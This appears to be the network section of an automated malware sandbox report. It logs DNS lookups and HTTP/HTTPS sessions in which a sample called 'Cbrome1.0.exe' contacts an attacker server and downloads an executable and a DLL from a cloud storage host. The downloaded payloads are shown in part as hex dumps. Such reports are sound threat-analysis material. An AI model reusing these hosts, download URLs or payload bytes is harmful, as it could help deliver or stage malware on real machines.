Jul 25, 2024 13:23:28.907052994 CEST	192.168.2.6	1.1.1.1	0x736b	Standard query (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Jul 25, 2024 13:23:20.047702074 CEST	1.1.1.1	192.168.2.6	0xd764	No error (0)	wt3z8.cn	216.224.127.6	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:23:20.047831059 CEST	1.1.1.1	192.168.2.6	0xd764	No error (0)	wt3z8.cn	216.224.127.6	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:23:25.985260010 CEST	1.1.1.1	192.168.2.6	0xffe	No error (0)	wt3z8.cn	216.224.127.6	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:23:25.985280991 CEST	1.1.1.1	192.168.2.6	0xffe	No error (0)	wt3z8.cn	216.224.127.6	A (IP address)	IN (0x0001)	false
Jul 25, 2024 13:23:29.067256927 CEST	1.1.1.1	192.168.2.6	0x736b	No error (0)	jerryrat2024.oss-cn-beijing.aliyuncs.com	39.97.203.118	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	216.224.127.63	280	4864	C:\Users\user\Desktop\Cbrome1.0.exe

Timestamp	Bytes transferred	Direction	Data
Jul 25, 2024 13:23:17.579873085 CEST	76	OUT	GET /Test.txt HTTP/1.1 Connection: Keep-Alive Host: 216.224.127.63:280
Jul 25, 2024 13:23:18.546458960 CEST	196	IN	HTTP/1.1 200 OK Content-Type: text/plain Content-Length: 1195 Accept-Ranges: bytes Server: HFS 2.2f Content-Disposition: filename="Test.txt"; Last-Modified: Wed, 24 Jul 2024 07:38:46 GMT

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49715	39.97.203.118	443	4864	C:\Users\user\Desktop\Cbrome1.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 11:23:31 UTC	112	OUT	GET /arphaCrashReport64.exe HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
2024-07-25 11:23:31 UTC	560	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 25 Jul 2024 11:23:31 GMT Content-Type: application/octet-stream Content-Length: 238384 Connection: close x-oss-request-id: 66A235B3F6DE1938342B87CF Accept-Ranges: bytes ETag: "8B5D51DF7BBD67AEB51E9B9DEE6BC84A" Last-Modified: Fri, 19 Jul 2024 07:12:21 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 5816712042177015287 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: i11R33u9Z661Hpud7mvISg== x-oss-server-time: 6
2024-07-25 11:23:31 UTC	3536	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 18 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 e1 d0 a5 69 a5 b1 cb 3a a5 b1 cb 3a a5 b1 cb 3a c0 d7 c8 3b a0 b1 cb 3a c0 d7 ce 3b 29 b1 cb 3a f7 d9 cf 3b b7 b1 cb 3a f7 d9 c8 3b ad b1 cb 3a f7 d9 ce 3b 90 b1 cb 3a c0 d7 cf 3b ae b1 cb 3a c0 d7 ca 3b b7 b1 cb 3a 33 d8 ca 3b a6 b1 cb 3a a5 b1 ca 3a 0b b1 cb 3a 33 d8 ce 3b a2 b1 cb 3a 33 d8 34 3a a4 b1 cb 3a a5 b1 5c 3a a4 b1 cb 3a 33 d8 c9 3b a4 b1 cb 3a 52 69 63 68 a5 b1 cb Data Ascii: MZ@!L!This program cannot be run in DOS mode.$i:::;:;):;:;:;:;:;:3;:::3;:34::\::3;:Rich
2024-07-25 11:23:31 UTC	4096	IN	Data Raw: 48 8b cb e8 a4 c3 00 00 90 4c 89 bf 80 00 00 00 4c 89 bf 88 00 00 00 4c 89 bf 90 00 00 00 48 8b 57 78 48 83 ea 18 f0 0f c1 72 10 83 ee 01 7f 0a 48 8b 0a 48 8b 01 ff 50 08 90 48 8b 77 60 48 85 f6 74 47 48 8b 5f 68 48 85 db 74 3e bd ff ff 00 00 66 39 2e 74 2b 41 be 00 20 00 00 0f 1f 40 00 66 44 85 33 74 0a 48 8b 4b 08 e8 f9 c9 00 00 90 48 83 c6 04 48 83 c3 10 66 39 2e 75 e3 48 8b 5f 68 48 8b cb e8 df c9 00 00 90 48 8b 4f 50 48 85 c9 74 0a e8 1c 0a 01 00 90 4c 89 7f 50 4c 89 7f 58 48 8b 4f 28 48 85 c9 74 06 e8 e5 be 00 00 90 48 8b 5c 24 50 48 8b 6c 24 58 48 8b 74 24 60 48 83 c4 30 41 5f 41 5e 5f c3 e8 6e 09 01 00 90 cc 48 89 5c 24 08 57 48 83 ec 20 48 8b d9 33 ff 48 8b 49 18 48 85 c9 74 09 e8 c7 09 01 00 48 89 7b 18 48 89 7b 20 48 8b 4b 08 48 85 c9 74 09 e8 Data Ascii: HLLLHWxHrHHPHw`HtGH_hHt>f9.t+A @fD3tHKHHf9.uH_hHHOPHtLPLXHO(HtH\$PHl$XHt$`H0A_A^_nH\$WH H3HIHtH{H{ HKHt
2024-07-25 11:23:31 UTC	4096	IN	Data Raw: 48 89 44 24 40 49 8b d7 48 8d 44 24 60 49 8b cc 48 89 44 24 38 48 8b 84 24 d0 00 00 00 48 89 44 24 30 8b 84 24 c0 00 00 00 89 5c 24 28 89 44 24 20 ff 15 01 f6 01 00 85 c0 75 39 48 8b 8c 24 d8 00 00 00 48 85 c9 74 09 8b 84 24 a0 00 00 00 89 01 48 8b 0f 48 85 c9 74 08 ff 15 09 f6 01 00 8b e8 48 8b 4c 24 60 81 e3 00 03 00 00 48 89 0f 8b c5 89 5f 08 4c 8d 5c 24 70 49 8b 5b 38 49 8b 6b 40 49 8b e3 41 5f 41 5e 41 5c 5f 5e c3 cc cc cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 30 48 8b 79 10 48 8b f2 48 8b d9 48 85 ff 0f 84 93 00 00 00 48 83 3f 00 48 8b 19 74 56 48 8d 0d 46 fe 01 00 ff 15 48 f6 01 00 48 85 c0 74 63 48 8d 15 84 fe 01 00 48 8b c8 ff 15 c3 f6 01 00 48 85 c0 74 4e 48 8b 17 45 33 c9 48 c7 44 24 28 00 00 00 00 45 33 c0 48 89 54 24 20 48 8b cb 48 8b d6 Data Ascii: HD$@IHD$`IHD$8H$HD$0$\$(D$ u9H$Ht$HHtHL$`H_L\$pI[8Ik@IA_A^A\_^H\$Ht$WH0HyHHHH?HtVHFHHtcHHHtNHE3HD$(E3HT$ HH
2024-07-25 11:23:31 UTC	4096	IN	Data Raw: 48 89 5c 24 18 55 56 57 48 81 ec 80 02 00 00 48 8b 05 32 e6 02 00 48 33 c4 48 89 84 24 70 02 00 00 44 8b 49 08 33 ed 48 8b f2 48 89 6c 24 48 4c 8b c2 89 6c 24 50 48 8b 11 48 8b f9 41 81 c9 1f 00 02 00 48 89 6c 24 58 48 8d 4c 24 48 e8 0e f9 ff ff 8b d8 85 c0 0f 85 bb 00 00 00 48 8b 4c 24 48 48 8d 44 24 60 48 89 44 24 38 4c 8d 4c 24 40 48 89 6c 24 30 4c 8d 44 24 70 48 89 6c 24 28 33 d2 48 89 6c 24 20 c7 44 24 40 00 01 00 00 ff 15 cc e5 01 00 85 c0 75 59 0f 1f 84 00 00 00 00 00 48 8d 54 24 70 48 8d 4c 24 48 e8 51 ff ff ff 8b d8 85 c0 75 62 48 8b 4c 24 48 48 8d 44 24 60 48 89 44 24 38 4c 8d 4c 24 40 48 89 6c 24 30 4c 8d 44 24 70 48 89 6c 24 28 33 d2 48 89 6c 24 20 c7 44 24 40 00 01 00 00 ff 15 73 e5 01 00 85 c0 74 af 48 8b 4c 24 48 48 85 c9 74 0b ff 15 67 e5 Data Ascii: H\$UVWHH2H3H$pDI3HHl$HLl$PHHAHl$XHL$HHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@uYHT$pHL$HQubHL$HHD$`HD$8LL$@Hl$0LD$pHl$(3Hl$ D$@stHL$HHtg
2024-07-25 11:23:32 UTC	4096	IN	Data Raw: 0f 83 6d 04 00 00 85 d2 7e 1a 48 2b fb 8b ca 90 0f b7 04 1f 66 89 03 48 83 c3 02 48 83 e9 01 75 ef 4d 8b 06 41 0f b7 00 49 8b f8 66 3b f0 75 90 66 89 33 66 41 83 3f 3d 0f 85 35 04 00 00 8b 7c 24 40 85 ff 74 39 48 8b 44 24 48 48 89 44 24 50 89 74 24 58 48 89 74 24 60 4d 8b cf 4c 8d 85 a0 01 00 00 48 8d 54 24 50 49 8b ce e8 70 d5 ff ff 8b d8 85 c0 0f 88 fe 03 00 00 e9 5c 01 00 00 83 bd 20 22 00 00 00 75 61 45 85 e4 74 5c 48 89 74 24 50 89 74 24 58 48 89 74 24 60 41 b9 06 00 02 00 45 33 c0 48 8b 54 24 48 48 8d 4c 24 50 e8 ad e8 ff ff 85 c0 0f 85 82 03 00 00 48 8d 95 a0 01 00 00 48 8b 7c 24 50 48 8b cf ff 15 78 d5 01 00 a9 fd ff ff ff 0f 85 49 03 00 00 48 85 ff 74 09 48 8b cf ff 15 7f d5 01 00 49 8b d7 49 8b ce e8 bc 0c 00 00 e9 9a f7 ff ff 49 8b cf 41 0f b7 Data Ascii: m~H+fHHuMAIf;uf3fA?=5\|$@t9HD$HHD$Pt$XHt$`MLHT$PIp\ "uaEt\Ht$Pt$XHt$`AE3HT$HHL$PHH\|$PHxIHtHIIIA
2024-07-25 11:23:32 UTC	4096	IN	Data Raw: 74 29 48 89 5c 24 30 48 8b 4f 08 ff 17 48 8b 5f 10 ba 18 00 00 00 48 8b cf e8 8e 83 00 00 48 8b fb 48 85 db 75 e1 48 8b 5c 24 30 48 8b 7c 24 38 49 c7 46 08 00 00 00 00 48 c7 46 10 00 00 00 00 48 8b 4e 40 48 85 c9 74 06 48 8b 01 ff 50 10 48 8d 4e 18 ff 15 5f c6 01 00 41 c7 06 00 00 00 00 48 8b 74 24 40 48 83 c4 20 41 5e c3 ba 01 00 00 00 b9 05 00 00 c0 e8 d5 bb ff ff cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 48 89 74 24 20 41 56 48 83 ec 20 48 8b 59 48 45 33 f6 48 8b e9 48 85 db 74 2d 4c 39 33 74 28 0f 1f 80 00 00 00 00 48 8b 4b 20 48 85 c9 74 06 48 8b 01 ff 50 10 33 c9 4c 89 73 20 ff 53 40 48 83 c3 48 4c 39 33 75 df 48 8b 1d b8 d5 02 00 48 8b 0d b9 d5 02 00 48 3b d9 73 1d 48 8b 03 48 85 c0 74 0c 33 c9 ff 50 38 48 8b 0d a0 d5 02 00 48 83 c3 08 48 3b d9 Data Ascii: t)H\$0HOH_HHHuH\$0H\|$8IFHFHN@HtHPHN_AHt$@H A^H\$Hl$Ht$ AVH HYHE3HHt-L93t(HK HtHP3Ls S@HHL93uHHH;sHHt3P8HHH;
2024-07-25 11:23:32 UTC	4096	IN	Data Raw: 18 48 89 47 30 e8 56 aa ff ff 48 8b c8 48 85 c0 0f 84 89 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 38 e8 37 aa ff ff 48 8b c8 48 85 c0 0f 84 75 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 40 e8 18 aa ff ff 48 8b c8 48 85 c0 0f 84 61 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 48 e8 f9 a9 ff ff 48 8b c8 48 85 c0 0f 84 4d 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 50 e8 da a9 ff ff 48 8b c8 48 85 c0 0f 84 b5 01 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 47 58 48 8d 15 29 c5 01 00 48 c7 c3 ff ff ff ff 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8b cf e8 7a eb ff ff 48 8d 15 53 c5 01 00 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8d 4f 08 e8 5a eb ff ff 48 8d 15 8b c5 01 00 48 8b c3 48 ff c0 66 83 3c 42 00 75 f6 44 8b c0 48 8d Data Ascii: HG0VHHHPHHG87HHuHPHHG@HHaHPHHGHHHMHPHHGPHHHPHHGXH)HHHf<BuDHzHSHHf<BuDHOZHHHf<BuDH
2024-07-25 11:23:32 UTC	4096	IN	Data Raw: 00 cc e8 19 20 00 00 cc e8 2f aa 00 00 cc cc cc 48 89 4c 24 08 57 41 56 41 57 48 83 ec 40 48 c7 44 24 30 fe ff ff ff 48 89 5c 24 68 48 89 6c 24 70 48 89 74 24 78 4c 8b f2 48 8b d9 e8 1f 9a ff ff 48 8b c8 48 85 c0 0f 84 27 02 00 00 48 8b 00 ff 50 18 48 83 c0 18 48 89 03 33 f6 8d 6e ff 4d 85 f6 0f 84 9e 01 00 00 33 d2 49 81 fe 00 00 01 00 0f 83 15 01 00 00 41 0f b7 ee 48 8d 0d 1e b8 02 00 e8 6d 58 00 00 48 8b f8 41 bf 01 00 00 00 41 8b f7 48 85 c0 0f 84 b1 01 00 00 44 8b f5 49 c1 ee 04 0f 1f 40 00 66 0f 1f 84 00 00 00 00 00 45 33 c9 4d 8d 46 01 41 8d 51 06 48 8b cf ff 15 34 a6 01 00 48 85 c0 74 13 44 8b c5 48 8b d0 48 8b cf e8 39 ea ff ff 48 85 c0 75 1e 8b d6 48 8d 0d bb b7 02 00 e8 0a 58 00 00 48 8b f8 ff c6 48 85 c0 0f 84 55 01 00 00 eb b6 48 85 ff 0f 84 Data Ascii: /HL$WAVAWH@HD$0H\$hHl$pHt$xLHHH'HPHH3nM3IAHmXHAAHDI@fE3MFAQH4HtDHH9HuHXHHUH
2024-07-25 11:23:32 UTC	4096	IN	Data Raw: 06 00 00 e8 58 8a ff ff 48 8b c8 48 85 c0 0f 84 4b 06 00 00 48 8b 00 ff 50 18 48 8d 58 18 48 89 5d df 48 8d 55 f3 48 8b 7d f7 48 8b cf ff 15 3d 97 01 00 8b f0 89 45 ef 49 c7 c4 ff ff ff ff 83 f8 ff 75 10 e8 07 9d ff ff 85 c0 0f 88 b1 01 00 00 8b 75 ef 44 3b fe 41 0f 42 f7 85 f6 0f 88 07 06 00 00 44 2b 73 f8 8b 43 f4 2b c6 41 0b c6 7d 0f 8b d6 48 8d 4d df e8 44 0c 00 00 48 8b 5d df 45 33 f6 44 89 75 6f 4c 89 74 24 20 4c 8d 4d 6f 44 8b c6 48 8b d3 48 8b cf ff 15 d9 96 01 00 85 c0 0f 85 52 01 00 00 e8 a4 9c ff ff 85 c0 0f 88 4e 01 00 00 48 85 ff 74 0d 48 8b cf ff 15 be 96 01 00 4c 89 75 f7 4d 89 75 10 49 8b c5 49 83 7d 18 08 72 04 49 8b 45 00 66 44 89 30 85 f6 0f 84 19 05 00 00 41 be 02 00 00 00 41 bd 0a 00 00 00 45 8d 7d 31 41 8d 55 16 45 8d 45 44 48 8d 4d Data Ascii: XHHKHPHXH]HUH}H=EIuuD;ABD+sC+A}HMDH]E3DuoLt$ LMoDHHRNHtHLuMuII}rIEfD0AAE}1AUEEDHM
2024-07-25 11:23:32 UTC	4096	IN	Data Raw: 48 8b 74 24 30 48 8b 5c 24 40 48 83 c4 20 5d c3 48 83 ec 28 b9 0e 00 07 80 e8 62 8d ff ff cc cc 48 83 ec 28 48 8d 0d 75 9a 01 00 e8 08 43 00 00 cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc cc 48 89 5c 24 10 48 89 6c 24 18 56 57 41 54 41 56 41 57 48 83 ec 20 48 8b 69 18 49 8b f0 4c 8b 71 10 48 8b c5 49 2b c6 4c 8b e2 48 8b d9 4c 3b c0 77 2c 4f 8d 3c 06 48 8b f9 4c 89 79 10 48 83 fd 08 72 03 48 8b 39 4d 03 c0 4a 8d 0c 77 e8 ee 5d 00 00 33 c0 66 42 89 04 7f e9 f0 00 00 00 48 bf fe ff ff ff ff ff ff 7f 48 8b c7 49 2b c6 48 3b c6 0f 82 f7 00 00 00 4c 89 6c 24 50 4f 8d 2c 06 49 8b cd 48 83 c9 07 48 3b cf 77 1f 48 8b d5 48 8b c7 48 d1 ea 48 2b c2 48 3b e8 77 0e 48 8d 04 2a 48 8b f9 48 3b c8 48 0f 42 f8 48 8d 57 01 48 8b cb e8 89 7b ff ff 48 03 f6 4c 89 6b 10 48 Data Ascii: Ht$0H\$@H ]H(bH(HuCH\$Hl$VWATAVAWH HiILqHI+LHL;w,O<HLyHrH9MJw]3fBHHI+H;Ll$PO,IHH;wHHHH+H;wH*HH;HBHWH{HLkH

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.6	49719	39.97.203.118	443	4864	C:\Users\user\Desktop\Cbrome1.0.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-25 11:23:36 UTC	105	OUT	GET /arphaDump64.dll HTTP/1.1 Connection: Keep-Alive Host: jerryrat2024.oss-cn-beijing.aliyuncs.com
2024-07-25 11:23:37 UTC	563	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Thu, 25 Jul 2024 11:23:37 GMT Content-Type: application/octet-stream Content-Length: 2199488 Connection: close x-oss-request-id: 66A235B95B40CC3033D55FAB Accept-Ranges: bytes ETag: "5D165E30CDB59FDCCBD2ACE554EF3DF7" Last-Modified: Sun, 21 Jul 2024 04:01:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 10738669038091672703 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: XRZeMM21n9zL0qzlVO899w== x-oss-server-time: 12
2024-07-25 11:23:37 UTC	3533	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c7 68 2d 29 83 09 43 7a 83 09 43 7a 83 09 43 7a 9d 5b c7 7a a6 09 43 7a 9d 5b c0 7a c4 09 43 7a 9d 5b d6 7a 89 09 43 7a a4 cf 38 7a 80 09 43 7a 83 09 42 7a cd 09 43 7a 9d 5b c9 7a 80 09 43 7a 9d 5b d1 7a 82 09 43 7a 9d 5b d2 7a 82 09 43 7a 52 69 63 68 83 09 43 7a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 23 83 9c 66 00 00 00 00 00 00 00 00 f0 00 22 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$h-)CzCzCz[zCz[zCz[zCz8zCzBzCz[zCz[zCz[zCzRichCzPEd#f"
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: ff ff 8b 0d fb c7 00 00 48 8b d0 ff 15 42 86 00 00 48 8b cb 85 c0 74 16 33 d2 e8 20 0f 00 00 ff 15 26 86 00 00 48 83 4b 08 ff 89 03 eb 16 e8 a8 04 00 00 e9 f4 fe ff ff 83 fa 03 75 07 33 c9 e8 8f 11 00 00 b8 01 00 00 00 48 83 c4 20 5b c3 48 89 5c 24 08 48 89 74 24 10 48 89 7c 24 18 41 54 48 83 ec 30 49 8b f0 8b da 4c 8b e1 b8 01 00 00 00 85 d2 75 0f 39 15 f8 d6 00 00 75 07 33 c0 e9 cd 00 00 00 83 fa 01 74 05 83 fa 02 75 30 4c 8b 0d 66 88 00 00 4d 85 c9 74 07 41 ff d1 89 44 24 20 85 c0 74 11 4c 8b c6 8b d3 49 8b cc e8 61 fe ff ff 89 44 24 20 85 c0 0f 84 93 00 00 00 4c 8b c6 8b d3 49 8b cc e8 f8 f8 ff ff 8b f8 89 44 24 20 83 fb 01 75 35 85 c0 75 31 4c 8b c6 33 d2 49 8b cc e8 dc f8 ff ff 4c 8b c6 33 d2 49 8b cc e8 1f fe ff ff 4c 8b 1d 00 88 00 00 4d 85 db 74 Data Ascii: HBHt3 &HKu3H [H\$Ht$H\|$ATH0ILu9u3tu0LfMtAD$ tLIaD$ LID$ u5u1L3IL3ILMt
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: 76 00 00 8b 0d fa b7 00 00 8b f8 ff 15 ca 76 00 00 48 8b d8 48 85 c0 75 48 8d 48 01 ba c8 02 00 00 e8 dd 02 00 00 48 8b d8 48 85 c0 74 33 8b 0d cf b7 00 00 48 8b d0 ff 15 16 76 00 00 48 8b cb 85 c0 74 16 33 d2 e8 f4 fe ff ff ff 15 fa 75 00 00 48 83 4b 08 ff 89 03 eb 07 e8 7c f4 ff ff 33 db 8b cf ff 15 82 76 00 00 48 8b c3 48 8b 5c 24 30 48 83 c4 20 5f c3 40 53 48 83 ec 20 e8 71 ff ff ff 48 8b d8 48 85 c0 75 08 8d 48 10 e8 7d 03 00 00 48 8b c3 48 83 c4 20 5b c3 48 85 c9 0f 84 2b 01 00 00 48 89 5c 24 10 57 48 83 ec 20 48 8b d9 48 8b 49 38 48 85 c9 74 05 e8 1c f4 ff ff 48 8b 4b 48 48 85 c9 74 05 e8 0e f4 ff ff 48 8b 4b 58 48 85 c9 74 05 e8 00 f4 ff ff 48 8b 4b 68 48 85 c9 74 05 e8 f2 f3 ff ff 48 8b 4b 70 48 85 c9 74 05 e8 e4 f3 ff ff 48 8b 4b 78 48 85 c9 74 Data Ascii: vvHHuHHHHt3HvHt3uHK\|3vHH\$0H _@SH qHHuH}HH [H+H\$WH HHI8HtHKHHtHKXHtHKhHtHKpHtHKxHt
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: 41 48 8b cd e8 8e f2 ff ff 48 8b f0 49 3b c4 74 31 4c 89 64 24 38 4c 89 64 24 30 44 8d 4f 01 4c 8b c3 33 d2 33 c9 89 6c 24 28 48 89 44 24 20 ff 15 26 67 00 00 41 3b c4 75 0b 48 8b ce e8 99 e4 ff ff 49 8b f4 48 8b cb ff 15 05 67 00 00 48 8b c6 eb 73 3b ce 74 09 41 3b cc 0f 85 4c ff ff ff ff 15 e5 66 00 00 48 8b d8 49 3b c4 0f 84 3a ff ff ff 44 38 20 74 10 48 ff c0 44 38 20 75 f8 48 ff c0 44 38 20 75 f0 2b c3 ff c0 48 63 f0 48 8b ce e8 01 f2 ff ff 48 8b f8 49 3b c4 75 0e 48 8b cb ff 15 9c 66 00 00 e9 00 ff ff ff 4c 8b c6 48 8b d3 48 8b c8 e8 79 e5 ff ff 48 8b cb ff 15 80 66 00 00 48 8b c7 48 8b 5c 24 50 48 8b 6c 24 58 48 8b 74 24 60 48 8b 7c 24 68 48 83 c4 40 41 5c c3 cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8d 1d 97 86 00 00 48 8d 3d 90 86 00 00 eb 0e 48 8b Data Ascii: AHHI;t1Ld$8Ld$0DOL33l$(HD$ &gA;uHIHgHs;tA;LfHI;:D8 tHD8 uHD8 u+HcHHI;uHfLHHyHfHH\$PHl$XHt$`H\|$hH@A\H\$WH HH=H
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: c3 72 f5 8a 44 24 56 c6 44 24 70 20 48 8d 7c 24 56 eb 29 0f b6 57 01 44 0f b6 c0 44 3b c2 77 16 41 2b d0 49 8b c0 4a 8d 4c 04 70 44 8d 42 01 b2 20 e8 fd d4 ff ff 48 83 c7 02 8a 07 84 c0 75 d3 8b 46 0c 83 64 24 38 00 4c 8d 44 24 70 89 44 24 30 8b 46 04 44 8b cb 89 44 24 28 48 8d 84 24 70 03 00 00 ba 01 00 00 00 33 c9 48 89 44 24 20 e8 63 18 00 00 83 64 24 40 00 8b 46 04 8b 56 0c 89 44 24 38 48 8d 84 24 70 01 00 00 89 5c 24 30 48 89 44 24 28 4c 8d 4c 24 70 44 8b c3 33 c9 89 5c 24 20 e8 c4 1e 00 00 83 64 24 40 00 8b 46 04 8b 56 0c 89 44 24 38 48 8d 84 24 70 02 00 00 89 5c 24 30 48 89 44 24 28 4c 8d 4c 24 70 41 b8 00 02 00 00 33 c9 89 5c 24 20 e8 8e 1e 00 00 4c 8d 9c 24 70 03 00 00 48 8d 4e 1d 33 d2 41 f6 03 01 74 0c 80 09 10 8a 84 14 70 01 00 00 eb 10 41 f6 Data Ascii: rD$VD$p H\|$V)WDD;wA+IJLpDB HuFd$8LD$pD$0FDD$(H$p3HD$ cd$@FVD$8H$p\$0HD$(LL$pD3\$ d$@FVD$8H$p\$0HD$(LL$pA3\$ L$pHN3AtpA
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: 06 0f ba ed 15 eb 3e 48 8b 0d ed a4 00 00 48 3b cf 74 32 e8 f3 ce ff ff 48 85 c0 74 28 ff d0 48 8b d8 48 85 c0 74 1e 48 8b 0d d5 a4 00 00 48 3b cf 74 12 e8 d3 ce ff ff 48 85 c0 74 08 48 8b cb ff d0 48 8b d8 48 8b 0d a7 a4 00 00 e8 ba ce ff ff 48 85 c0 74 10 44 8b cd 4d 8b c5 49 8b d6 48 8b cb ff d0 eb 02 33 c0 48 8b 5c 24 70 48 8b 6c 24 78 48 83 c4 40 41 5e 41 5d 41 5c 5f 5e c3 40 53 48 83 ec 30 4c 8b c9 48 85 c9 74 0d 48 85 d2 74 08 4d 85 c0 75 2c 44 88 01 e8 c8 ca ff ff bb 16 00 00 00 48 83 64 24 20 00 45 33 c9 45 33 c0 33 d2 33 c9 89 18 e8 dc c9 ff ff 8b c3 48 83 c4 30 5b c3 80 39 00 74 09 48 ff c1 48 83 ea 01 75 f2 48 85 d2 75 05 41 88 11 eb bf 41 8a 00 49 ff c0 88 01 48 ff c1 84 c0 74 06 48 83 ea 01 75 eb 48 85 d2 75 0f 41 88 11 e8 6a ca ff ff bb 22 Data Ascii: >HH;t2Ht(HHtHH;tHtHHHHtDMIH3H\$pHl$xH@A^A]A\_^@SH0LHtHtMu,DHd$ E3E333H0[9tHHuHuAAIHtHuHuAj"
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: c3 cc cc b9 02 00 00 00 e9 02 c4 ff ff cc cc 48 81 ec a8 05 00 00 f6 05 46 85 00 00 01 74 0a b9 0a 00 00 00 e8 ea d5 ff ff e8 fd ea ff ff 48 85 c0 74 0a b9 16 00 00 00 e8 fa ea ff ff f6 05 1f 85 00 00 02 74 5f 48 8d 8c 24 d0 00 00 00 ff 15 47 36 00 00 48 8d 4c 24 30 33 d2 41 b8 98 00 00 00 e8 cd b4 ff ff 48 8b 84 24 a8 05 00 00 33 c9 48 89 44 24 40 48 8d 44 24 30 c7 44 24 30 15 00 00 40 48 89 44 24 20 48 8d 84 24 d0 00 00 00 48 89 44 24 28 ff 15 e1 35 00 00 48 8d 4c 24 20 ff 15 ce 35 00 00 b9 03 00 00 00 e8 a8 c6 ff ff cc cc cc cc 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 54 41 55 41 56 48 83 ec 50 4c 8b f2 48 8b d1 48 8d 48 c8 45 8b e1 4d 8b e8 e8 6a e1 ff ff 4d 85 ed 74 04 4d 89 75 00 4d 85 f6 75 2a e8 6f ba ff ff 48 83 64 24 20 00 45 Data Ascii: HFtHtt_H$G6HL$03AH$3HD$@HD$0D$0@HD$ H$HD$(5HL$ 5HHXHhHpHx ATAUAVHPLHHHEMjMtMuMu*oHd$ E
2024-07-25 11:23:37 UTC	4096	IN	Data Raw: e8 9a f8 ff ff 48 8b f0 48 63 47 04 48 03 f0 eb 03 48 8b f3 e8 9e f8 ff ff 4c 8b d8 48 63 45 04 4c 03 d8 49 3b f3 74 3b 39 5f 04 74 11 e8 6d f8 ff ff 48 8b f0 48 63 47 04 48 03 f0 eb 03 48 8b f3 e8 71 f8 ff ff 48 8d 4e 10 4c 8b d8 48 63 45 04 49 8d 54 03 10 e8 b8 ab ff ff 3b c3 74 04 33 c0 eb 3c b0 02 84 45 00 74 05 f6 07 08 74 27 41 f6 04 24 01 74 05 f6 07 01 74 1b 41 f6 04 24 04 74 05 f6 07 04 74 0f 41 84 04 24 74 04 84 07 74 05 bb 01 00 00 00 8b c3 eb 05 b8 01 00 00 00 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 8b 7c 24 48 48 83 c4 20 41 5c c3 cc 48 83 ec 28 48 8b 01 81 38 4d 4f 43 e0 74 1a 81 38 63 73 6d e0 75 2b e8 a0 af ff ff 83 a0 00 01 00 00 00 e8 c4 d9 ff ff cc e8 8e af ff ff 83 b8 00 01 00 00 00 7e 0b e8 80 af ff ff ff 88 00 01 00 00 33 c0 Data Ascii: HHcGHHLHcELI;t;9_tmHHcGHHqHNLHcEIT;t3<Ett'A$ttA$ttA$ttH\$0Hl$8Ht$@H\|$HH A\H(H8MOCt8csmu+~3
